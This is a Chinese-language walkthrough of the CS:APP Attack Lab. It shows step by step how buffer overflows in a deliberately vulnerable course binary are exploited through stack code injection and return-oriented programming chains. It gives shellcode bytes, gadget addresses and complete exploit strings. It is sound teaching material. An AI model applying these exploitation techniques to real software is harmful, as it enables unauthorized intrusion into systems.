攻击实验
CS:APP - Lab assignments #3 - Attack Lab: Understanding Buffer Overflow Bugs
若参考或转载请注明出处
本实验通过代码注入攻击、面向返回编程(Return-Oriented Programming,ROP)攻击来帮助理解缓冲区溢出的危害。你将研究CS:APP3e的第3.10.3和3.10.4节,作为该实验的参考资料。
注意:
在本实验中,你将获得用于利用操作系统和网络服务器中的安全漏洞的方法的第一手经验。 我们的目的是帮助你了解程序的运行时操作,并了解这些安全漏洞的性质,以便在编写系统代码时可以避免它们。 我们不容忍使用任何其他形式的攻击来获得对任何系统资源的未经授权的访问。
完成此实验后:
- 你将学习攻击者利用安全漏洞的不同方法,当程序不能很好地保护自己免受缓冲区溢出的侵害时;
- 你将更好地了解如何编写更安全的程序,以及编译器和操作系统提供的一些功能,以使程序更不容易受到攻击;
- 你将对x86-64机器代码的堆栈和参数传递机制有更深入的了解;
- 你将对x86-64指令的编码方式有更深入的了解;
- 你将获得有关调试工具(例如
gdb
和objdump
)的更多经验。
以下是有关此实验有效解决方案的一些重要规则的摘要。 当你第一次阅读本文档时,这些要点没有多大意义。 一旦开始,它们将在此处作为规则的主要参考。
- 你必须在与生成
target
的计算机相似的计算机上进行此实验。 - 你的解决方案可能不会使用攻击来规避程序中的验证代码。 具体来说,你将任何包含在
ret
指令中的攻击字符串中的地址都应指向以下目标之一:- 函数
touch1
、touch2
或touch3
的地址。 - 你注入的代码的地址。
- 来自
gadget farm
的一个gadget
的地址。
- 函数
- 你只能从文件
rtarget
构造gadget
,其地址范围介于函数start_farm
和end_farm
之间。
本文所有操作均基于以下环境:
- OS: Ubuntu 18.04.4 LTS (Linux ubuntu 5.3.0-46-generic x86_64)
- Debugger: GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
- Compiler: gcc version 7.5.0
有关实验的基本介绍参见实验说明(公众号后台回复“attack lab
”即可下载)。
准备
阅读README.txt
,可以发现:
ctarget
:易受代码注入攻击的可执行程序(对应Part I即课程要求部分);rtarget
:易受ROP攻击的可执行程序(对应Part II);cookie.txt
:8位十六进制代码cookie
,你将在攻击中将其用作唯一标识符;farm.c
:目标的gadget farm
的源代码,将用于ROP攻击;hex2raw
:用于生成攻击字符串的实用程序。
若完成课程要求部分,则只需用到 ctarget
、cookie.txt
和hex2raw
。
下图总结了实验的五个阶段。可以看出,前三个涉及对catrget
的代码注入(CI)攻击(课程要求),而后两个涉及对rtarget
的面向返回编程(ROP)攻击(课程未做要求)。
ctarget
和rtarget
都从标准输入读取字符串,二者都采用几个不同的命令行参数:
-h
:打印可能的命令行参数列表-q
:不将结果发送到评分服务器(自学者必须在运行时加上此参数,否则会由于服务器不存在而报错)-i <FILE>
:从文件而不是标准输入提供输入
与Bomb Lab
不同,在此实验犯错误不会受到任何惩罚。 随意使用你喜欢的任何字符串向ctarget
和rtarget
开火。
Part I: Code Injection Attacks
在前三个阶段中,你将利用字符串攻击
ctarget
。设置该程序的方式是,从一次运行到下一次运行,堆栈位置将保持一致,以便将堆栈上的数据视为可执行代码。这些功能使程序容易受到攻击,当你利用包含可执行代码的字节编码(机器码,即汇编文件中地址右侧的若干字节)的字符串时。
Level 1
对于
level 1
,你将不会注入新代码。 相反,你将利用字符串重定向程序以执行现有过程。
ctarget
中的test
函数调用了getbuf
函数:
1
2
3
4
5
6 void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
1
2
3
4
5
6 unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}当
getbuf
执行其return
语句(getbuf
的第5行)时,程序通常会返回到test
(第5行)内恢复执行。 我们想改变这种行为。 在文件ctarget
中,存在touch1
函数:
1
2
3
4
5
6
7 void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}你的任务是**让
ctarget
在getbuf
执行return
语句时执行touch1
的代码,而不是返回test
**。 请注意,你的字符串可能还会破坏与该阶段不直接相关的堆栈部分,但这不会引起问题,因为touch1
会导致程序直接退出。一些忠告:
- 你可以通过检查反汇编的
ctarget
来确定为此level
设计字符串所需的所有信息。请使用objdump -d
获取此反汇编的代码。- 思路是在字符串中放置
touch1
起始地址的字节表示,以便getbuf
代码末尾的ret
指令将控制权转移到touch1
。- 注意字节顺序。
- 你可能希望使用
gdb
在getbuf
的最后几条指令中逐步执行该程序,以确保它在做正确的事情。buf
在getbuf
的堆栈帧中的放置取决于编译时常量BUFFER_SIZE
的值以及gcc
使用的分配策略。 你将需要检查反汇编的代码以确定其位置。
目的就是用字符串将getbuf
函数重定向执行touch1
函数。
首先利用objdump
工具反汇编,并将结果重定向存入ctarget.s
文件以便分析。
1 | objdump -d ctarget > ctarget.s |
观察test
函数:
1 | void test() |
getbuf
函数:
1 | unsigned getbuf() |
发现getbuf
函数第4行调用Gets
读取输入的字符串并存入buf
中,而buf
只分配了BUFFER_SIZE
大小的内存,所以存在缓冲区溢出漏洞。若要详细了解getbuf
函数,则可以在ctarget.s
中找到getbuf
函数对应的汇编语句:
1 | 00000000004017a8 <getbuf>: |
4017a8分配了40字节大小的空间,可知BUFFER_SIZE
的值为40。也就是说,当输入字符串长度超过40就会发生缓冲区溢出,而且溢出的部分就会覆盖掉原来的返回地址。
根据这个思路,我们可以首先输入40个字符,再输入8个字符作为溢出部分,而这8个字符就是要跳转到的touch1
函数的地址。(地址均为8字节)
为获得touch1
函数的地址,在ctarget.s
中找到touch1
函数对应的汇编语句:
1 | 00000000004017c0 <touch1>: |
可以看到touch1
函数的地址为0x4017c0
,这就是我们要输入的字符串末尾的字符。
首先编辑用于攻击的字符串文件exploit.txt
,同时注意机器为小端法(little endian)时地址的字节序问题(前40个字符任意输入):
1 | 00 00 00 00 00 00 00 00 |
再将保存的exploit.txt
输入到ctarget
:
1 | cat exploit.txt | ./hex2raw | ./ctarget -q |
得到输出如下:
1 | Cookie: 0x59b997fa |
完成。
Level 2
level 2
涉及注入少量代码作为字符串的一部分。
ctarget
中有touch2
函数:
1
2
3
4
5
6
7
8
9
10
11
12 void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}你的任务是**让
ctarget
重定向至touch2
并进入validate
分支,而不是返回test
**。一些忠告:
- 你将希望以某种方式在字符串中放置注入代码的地址的字节表示,以使
getbuf
代码末尾的ret
指令将控制权转移给它。- 回想一下,函数的第一个参数在寄存器
%rdi
中传递。- 你注入的代码应将寄存器设置为
cookie
,然后使用ret
指令进行转移控制到touch2
中的第一条指令。- 请勿尝试在代码中使用
jmp
或调用指令。 这些指令的目标地址的编码很难确定。 对于所有控制转移,请使用ret
指令,即使你不是从调用处返回也是如此。- 如何使用工具生成指令序列的字节级表示形式?
目的就是用字符串执行touch2
函数,并使参数val
等于cookie
值。
和level 1
类似,依然需要利用getbuf
的缓冲区溢出漏洞,只不过在重定向至touch2
之前需要将cookie
值传入%rdi
寄存器(函数的第一个参数)。
实现这个功能,造成了与level 1
的不同之处——需要在编写的汇编代码中实现传入cookie
值、返回到touch2
这两个功能,而如何才能让程序执行我们编写的这段代码?因为可以将缓冲区溢出部分设置为任意地址来实现跳转,而且这段代码就存放于缓冲区中,所以可以将缓冲区溢出部分设置为缓冲区(%rsp
)的起始地址,这样就可以跳转到我们编写的这段代码了。
明确思路后,寻找touch2
地址:
1 | 00000000004017ec <touch2>: |
为0x4017ec
。
编写汇编代码(注意末尾的空行)并保存为touch2.s
文件:
1 | mov $0x59b997fa,%rdi # cookie |
先传入cookie
值,再将touch2
地址压入栈中,执行ret
时弹栈返回。由于栈的后进先出特点,返回地址即为后压入栈中的0x4017ec
。
将touch2.s
文件进行汇编:
1 | gcc -c touch2.s |
反汇编:
1 | objdump -d touch2.o |
得到输出如下:
1 |
|
至此,得到了汇编语句对应的字节码:
1 | 48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa,%rdi */ |
接下来,寻找缓冲区%rsp
的起始地址,利用gdb
:
1 | gdb ctarget |
打断点:
1 | (gdb) b getbuf |
运行:
1 | (gdb) r -q |
单步跟踪:
1 | (gdb) si |
此时执行到4017a8: sub $0x28,%rsp
处,打印%rsp
的值(地址):
1 | (gdb) p/x $rsp |
得到输出如下:
1 | 1 = 0x5561dc78 |
即%rsp
的值为0x5561dc78
,此即缓冲区的起始地址。
和level 1
类似,编辑用于攻击的字符串文件exploit.txt
(注意注释周围的空格):
1 | 48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa,%rdi */ |
再将保存的exploit.txt
输入到ctarget
:
1 | cat exploit.txt | ./hex2raw | ./ctarget -q |
得到输出如下:
1 | Cookie: 0x59b997fa |
完成。
Level 3
level 3
还涉及代码注入攻击,但传递字符串作为参数。
ctarget
中有hexmatch
函数和touch3
函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22 /* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}你的任务是**让
ctarget
重定向至touch3
并进入validate
分支,而不是返回test
**。一些忠告:
- 你需要在字符串中包含
cookie
的字符串表示形式。 该字符串应包含8个十六进制数字(从最高位到最低位),并且前导“0x
”。- 回想一下,一个字符串在C中表示为字节序列,后跟一个值为0的字节。在任何Linux机器上都可以使用“
man ascii
”查看所需字符的字节表示。- 你注入的代码应将寄存器
%rdi
设置为该字符串的地址。- 调用函数
hexmatch
和strncmp
时,它们会将数据压入堆栈,覆盖保留getbuf
使用的缓冲区的内存部分。 因此,你需要注意放置cookie
的字符串表示形式的位置。
level 3
和level 2
差不多,只不过传参为字符串而不是数值(cookie
已知)。
观察touch3
函数:
1 | void touch3(char *sval) |
发现应使表达式hexmatch(cookie, sval)
的值为1。观察hexmatch
函数:
1 | /* Compare string to hex represention of unsigned value */ |
结合返回值为1可知strncmp(sval, s, 9) == 0
须成立,故参数sval
字符串就应该是cookie
值对应的字符串。结合ASCII表,可知cookie
值0x59b997fa
对应字符串的十六进制值为35 39 62 39 39 37 66 61 00
(无前导“0x
”)。
但是此处故意“Make position of check string unpredictable”——char *s = cbuf + random() % 100;
,造成字符串s
的位置变为随机而不可预知,再加上函数touch3
、hexmatch
和strncmp
的一系列压栈导致getbuf
缓冲区中的数据可能被重写。这样看来我们不能将cookie
值对应的字符串放在getbuf
缓冲区中。
由于test
函数调用了getbuf
函数,我们可以将输入的字符串存放到test
的栈帧中。和level 2
寻找缓冲区起始地址类似,我们寻找test
缓冲区的起始地址(输入和输出一同显示):
1 | gdb ctarget |
得到缓冲区起始地址为0x5561dca8
。
其实也可以由getbuf
缓冲区起始地址0x5561dc78
推算而来:getbuf
函数分配了0x28
字节大小的内存,0x5561dc78+0x28=0x5561dca0
即为返回值的起始地址,也就是我们经常利用的40字节之外的缓冲区溢出部分的起始地址,此部分为8字节大小空间,0x5561dca0+0x8=0x5561dca8
就是test
缓冲区的起始地址。
这样我们又可以发现,在输入的字符串的40+8=48字节之外,再输入即可重写以地址0x5561dca8
为起始的部分——就是我们要传入的字符串的地址。
touch3
对应的汇编语句:
1 | 00000000004018fa <touch3>: |
得到touch3
的地址为0x4018fa
。
和level 2
类似,编写汇编代码(注意末尾的空行)并保存为touch3.s
文件(字符串传参为地址):
1 | mov $0x5561dca8,%rdi # string |
汇编并反汇编:
1 | gcc -c touch3.s |
得到输出如下:
1 |
|
至此,得到了汇编语句对应的字节码:
1 | 48 c7 c7 a8 dc 61 55 /* mov $0x5561dca8,%rdi */ |
和level 2
类似,编辑用于攻击的字符串文件exploit.txt
(注意注释周围的空格):
1 | 48 c7 c7 a8 dc 61 55 /* mov $0x5561dca8,%rdi */ |
再将保存的exploit.txt
输入到ctarget
:
1 | cat exploit.txt | ./hex2raw | ./ctarget -q |
得到输出如下:
1 | Cookie: 0x59b997fa |
完成。
Using hex2raw
hex2raw
将十六进制格式的字符串作为输入。在这种格式下,每个字节值由两个十六进制数字表示。 例如,字符串“012345
”可以十六进制格式输入为“30 31 32 33 34 35 00
”。(请记住,十进制数字X
的ASCII码为0x3X
,并且字符串的结尾由空字节指示。)
传递给hex2raw
的十六进制字符应由空格(空格或换行符)分隔。我们建议你在处理字符串的不同部分使用换行符分隔。 hex2raw
支持C样式的块注释,因此你可以标记字符串的各个部分(确保在开始和结束注释字符串(“/*
”,“*/
”)周围都留有空格,以便注释被忽略)。
如果在文件exploit.txt
中生成了十六进制格式的字符串,则可以通过几种不同方式将原始字符串应用于ctarget
或rtarget
:
你可以设置一系列管道以将字符串通过
hex2raw
传递。1
cat exploit.txt | ./hex2raw | ./ctarget
你可以将原始字符串存储在文件中并使用I/O重定向:
1
2./hex2raw < exploit.txt > exploit-raw.txt
./ctarget < exploit-raw.txt从
gdb
内部运行时,也可以使用这种方法:1
2gdb ctarget
(gdb) run < exploit-raw.txt你可以将原始字符串存储在文件中,并提供文件名作为命令行参数:
1
2./hex2raw < exploit.txt > exploit-raw.txt
./ctarget -i exploit-raw.txt从
gdb
内部运行时,也可以使用这种方法。
Generating Byte Codes
将gcc
用作汇编器,将objdump
用作反汇编器,可以方便地生成指令序列的字节码。例如,假设你编写的文件example.s
包含以下汇编代码:
1 | # Example of hand-generated assembly code |
此代码可以包含指令和数据的混合。“#
”字符右侧的任何内容均为注释。
你现在可以汇编和反汇编此文件:
1 | gcc -c example.s |
生成的文件example.d
包含以下内容:
1 | example.o: file format elf64-x86-64 |
底部几行显示了根据汇编语言指令生成的机器代码。 每行的左侧都有一个十六进制数字,表示该指令的起始地址(从0开始),而“:
”字符后的十六进制数字表示该指令的字节码。 因此,我们可以看到指令push $0xABCDEF
具有十六进制格式的字节码68 ef cd ab 00
。
从此文件中,你可以获得代码的字节序列:
1 | 68 ef cd ab 00 48 83 c0 11 89 c2 |
然后,可以将该字符串通过hex2raw
传递,以生成目标程序的输入字符串。或者,你可以编辑example.d
以忽略无关的值,并包含C样式的注释以提高可读性,从而得到:
1 | 68 ef cd ab 00 /* pushq $0xabcdef */ |
这也是在发送给目标程序之一之前可以通过hex2raw
传递的有效输入。
若只完成课程要求部分,则此时可以结束阅读。
下面是课程要求外的部分。
Part II: Return-Oriented Programming
对
rtarget
进行代码注入攻击比对ctarget
进行难度要大得多,因为它使用两种技术来阻止此类攻击:
- 它使用随机化,以使堆栈位置在一个行程与另一个行程之间有所不同。 这使得无法确定注入的代码将位于何处。
- 它会将保存堆栈的内存部分标记为不可执行,因此,即使你可以将程序计数器设置为注入代码的开始,程序也会因段错误(segmentation fault)而失败。
幸运的是,聪明的人已经设计了策略,可以通过执行现有代码而不是注入新代码来在程序中完成有用的事情。 这种方法的最一般形式称为面向返回编程(ROP)。 ROP的策略是在现有程序中标识由一个或多个指令以及指令
ret
组成的字节序列。 这样的段称为**gadget
**。上图说明了如何设置堆栈以执行n个
gadget
序列。在此图中,堆栈包含一系列gadget
地址。每个gadget
均由一系列指令字节组成,最后一个为0xc3
,用于编码ret
指令。当程序从该配置开始执行ret
指令时,它将启动一系列gadget
执行,其中ret
指令位于每个gadget
的末尾,从而导致程序跳至下一个小程序的开头。
gadget
可以使用与编译器生成的汇编语句相对应的代码,尤其是在函数末尾的代码。在实践中,可能有一些有用的gadget
,但不足以实现许多重要的操作。例如,编译后的函数极不可能在弹出之前将popq %rdi
作为其最后一条指令。幸运的是,对于面向字节的指令集(例如x86-64),通常可以通过从指令字节序列的其他部分提取模式来找到gadget
。例如,一个版本的
rtarget
包含为以下C函数生成的代码:
1
2
3
4 void setval_210(unsigned *p)
{
*p = 3347663060U;
}此功能对攻击系统有用的机会似乎很小。 但是,此功能的反汇编机器码显示了一个有趣的字节序列:
1
2
3
4
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq字节序列
48 89 c7
对指令movq %rax,%rdi
进行编码。 (有关有用的movq指令的编码,请参见下图。)此序列后跟字节值
c3
,该字节值对ret
指令进行编码。 该函数从地址0x400f15
开始,序列从该函数的第四个字节开始。 因此,该代码包含一个起始地址为0x400f18
的gadget
,该gadget
会将寄存器%rax
中的64位值复制到寄存器%rdi
。
rtarget
的代码在我们称为gadget farm
的区域中包含许多与上面显示的setval_210
函数相似的函数。 你的工作将是识别gadget farm
中的有用gadget
,并使用它们执行与level 2
和level 3
中类似的攻击。重要提示:
gadget farm
在rtarget
副本中由函数start_farm
和end_farm
划分。 请勿尝试从程序代码的其他部分构造gadget
。
level 4
和level 5
分别对应着level 2
和level 3
,区别是此时将对rtarget
进行攻击,而不再是ctarget
。rtarget
开启了地址随机化和栈不可执行机制,我们将不能注入新的代码,但是我们可以将现有的代码转化为新的代码,即ROP方法。
反汇编:
1 | objdump -d rtarget > rtarget.s |
Level 4
对于
level 4
,你将重复level 2
的攻击,但是使用gadget farm
中的gadget
在rtarget
上进行此操作。 你可以使用由以下指令类型组成的gadget
并仅使用前八个x86-64寄存器(%rax
–%rdi
)来构建解决方案。movq
:这些代码在下图A中显示。popq
:这些代码在下图B中显示。
ret
:该指令由单字节0xc3
编码。nop
:该指令(发音为“ no op”,缩写为“ no operation”)由单字节0x90
编码。 唯一的作用是使程序计数器加1。一些忠告:
- 你所需的所有
gadget
都可以在函数start_farm
和mid_farm
划定的rtarget
的代码区域中找到。- 你可以仅用两个
gadget
进行这种攻击。- 当
gadget
使用popq
指令时,它将从堆栈中弹出数据。 结果,你的漏洞利用字符串将包含gadget
地址和数据的组合。
目的与level 2
相同,即用字符串执行touch2
函数,并使参数val
等于cookie
值。
由于不能注入我们自己编写的代码,我们需要从rtarget.s
中的<start_farm>
(401994)和<end_farm>
(401ab2)之间寻求已有的代码作为替代。类似地,利用getbuf
的缓冲区溢出漏洞,将找到替代的代码地址直接置于40字节之后。
回忆我们在level 2
中编写的代码:
1 | mov $0x59b997fa,%rdi # cookie |
思路是先将cookie
值传入%rdi
,再跳转到touch2
地址即可。
现在不可以直接将一个特定立即数传给某寄存器,所以先将此立即数保存在栈中,再pop
到指定寄存器。
观察上图,并寻找含有58
~5f
的语句:
1 | 00000000004019a7 <addval_219>: |
此处的58 90 c3
对应:
1 | popq %rax |
我们找到了可以pop
到%rax
寄存器的指令,地址为4019a7+4=4019ab
。
然后我们寻找可以实现%rax
->…->%rdi
的指令。
观察上图,如果有48 89 c7
最好,如果没有则需要多传递几次。寻找结果:
1 | 00000000004019a0 <addval_273>: |
此处的48 89 c7 c3
对应:
1 | movq %rax,%rdi |
地址为4019a0+2=4019a2
。
将得到的各个gadget
进行总结:
1 | popq %rax # 4019ab |
其中cookie
为59b997fa
,touch2
的地址为4017ec
。
编辑用于攻击的字符串文件exploit.txt
(注意注释周围的空格):
1 | 00 00 00 00 00 00 00 00 |
再将保存的exploit.txt
输入到rtarget
:
1 | cat exploit.txt | ./hex2raw | ./rtarget -q |
得到输出如下:
1 | Cookie: 0x59b997fa |
完成。
Level 5
在进行
level 5
之前,请暂停思考你到目前为止已完成的工作。在level 2
和level 3
中,你使程序执行自己设计的机器代码。如果ctarget
曾经是网络服务器,则可以将自己的代码注入到远程计算机中。在level 4
中,你规避了现代系统用来阻止缓冲区溢出攻击的两个主要设备。尽管你没有注入自己的代码,但是你仍然可以注入一种程序,该程序通过将现有代码序列拼接在一起来运行。你还为此实验获得了95/100分。这是一个很好的成绩。如果你还有其他紧迫的任务,请考虑立即停止。
level 5
要求你对rtarget
进行ROP攻击,以使用指向cookie
字符串表示形式的指针来调用函数touch3
。除了使用ROP攻击来调用touch2
之外,这似乎似乎没有那么困难。此外,第5阶段仅计5分,这并不是衡量其所需努力的真实指标。对于那些想要超越课程正常期望的人,将其视为额外的学分问题。要解决
level 5
,可以在函数rstart_farm
和end_farm
划分的rtarget
中的代码区域中使用gadget
。 除了在levle 4
中使用的gadget
之外,此扩展服务器场还包括不同movl
指令的编码,如下图C所示。 服务器场此部分中的字节序列还包含2字节指令,这些指令用作功能上的nop
,即它们不更改任何寄存器或内存值。这些指令包括下图D中所示的指令,例如andb %al,%al
,它们在某些寄存器的低位字节上运行,但不更改其值。一些忠告:
- 你需要查看
movl
指令对寄存器的高4位字节的影响。- 官方解决方案需要八个
gadget
(并非全部都是唯一的)。Good luck and have fun!
目的与level 3
相同,即传参为cookie
值对应的字符串,区别是此时需要进行ROP攻击。
回忆我们在level 3
中编写的代码:
1 | mov $0x5561dca8,%rdi # string |
思路是先将cookie
字符串的地址传入%rdi
,再跳转到touch3
地址即可。
但此时栈地址是随机化的,导致我们无法直接获取字符串的地址。根据level 4
的经验,我们需要从gadget farm
中找到一个能将%rsp
传出来的gadget
。
观察上图,并寻找含有48 89 e0
~48 89 e7
的语句:
1 | 0000000000401a03 <addval_190>: |
此处的48 89 e0 c3
对应:
1 | movq %rsp,%rax |
地址为401a03+3=401a06
。
现在找到了一个gadget
取出%rsp
的值到%rax
,但是还需要加上偏移量才是真正的字符串的地址,最终还需要把这两部分相加(起始地址+偏移量)赋给%rdi
。
观察gadget farm
可以发现,有一个与众不同的gadget
:
1 | 00000000004019d6 <add_xy>: |
它正可以实现将%rdi
和%rsi
两个寄存器的值相加赋给%rax
,地址为4019d6
。
发现这个gadget
后,我们的思路更加清晰了:
- 方案一:
- 首先利用
level 4
的方法,将偏移量弹出至%rax
,再用4019a2
将%rax
赋给%rdi
; - 其次用
401a06
将%rsp
(起始地址)赋给%rax
,再将%rax
赋给%rsi
(可能多次); - 最后用
4019d6
将%rdi
和%rsi
相加赋给%rax
,再用4019a2
将%rax
赋给%rdi
。
- 首先利用
- 方案二:
- 首先利用
level 4
的方法,将偏移量弹出至%rax
,再将%rax
赋给%rsi
(可能多次); - 其次用
401a06
将%rsp
(起始地址)赋给%rax
,再用4019a2
将%rax
赋给%rdi
; - 最后用
4019d6
将%rdi
和%rsi
相加赋给%rax
,再用4019a2
将%rax
赋给%rdi
。
- 首先利用
总之,现在需要一种(或多种组合)将%rax
赋给%rsi
的gadget
。
观察以上三图,寻找含有89 c6
(%eax
->%esi
)的语句,遗憾的是并没有。
再寻找含有89 c0
~89 c7
(%eax
->)的语句:
已知的
4019a2
可以将%rax
赋给%rdi
;- 再寻找含有
89 f8
~89 ff
(%edi
->)的语句,遗憾的是并没有。
- 再寻找含有
getval_481
:(%eax
->%edx
)1
2
300000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 retq此处的
89 c2 90 c3
对应:1
2
3movl %eax,%edx
nop
ret地址为
4019db+2=4019dd
。再寻找含有
89 d0
~89 d7
(%edx
->)的语句:getval_159
:(%edx
->%ecx
)1
2
30000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3 retq此处的
89 d1 38 c9 c3
对应:1
2
3movl %edx,%ecx
cmpb %cl,%cl
ret(
38 c9
可以忽略)地址为401a33+1=401a34
。再寻找含有
89 c8
~89 cf
(%ecx
->)的语句:addval_436
:(%ecx
->%esi
)1
2
30000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 retq此处的
89 ce 90 90 c3
对应:1
2
3
4movl %ecx,%esi
nop
nop
ret地址为
401a11+2=401a13
。
综上,找到了%eax
->4019dd
->%edx
->401a34
->%ecx
->401a13
->%esi
。
将得到的各个gadget
进行总结:
1 | popq %rax # 4019ab |
其中偏移量从%rsp
读入开始计算,为4*8=32=0x20
,touch3
的地址为4018fa
,cookie
值对应的字符串的十六进制表示为35 39 62 39 39 37 66 61 00
。
编辑用于攻击的字符串文件exploit.txt
(注意注释周围的空格):
1 | 00 00 00 00 00 00 00 00 |
再将保存的exploit.txt
输入到rtarget
:
1 | cat exploit.txt | ./hex2raw | ./rtarget -q |
得到输出如下:
1 | Cookie: 0x59b997fa |
完成。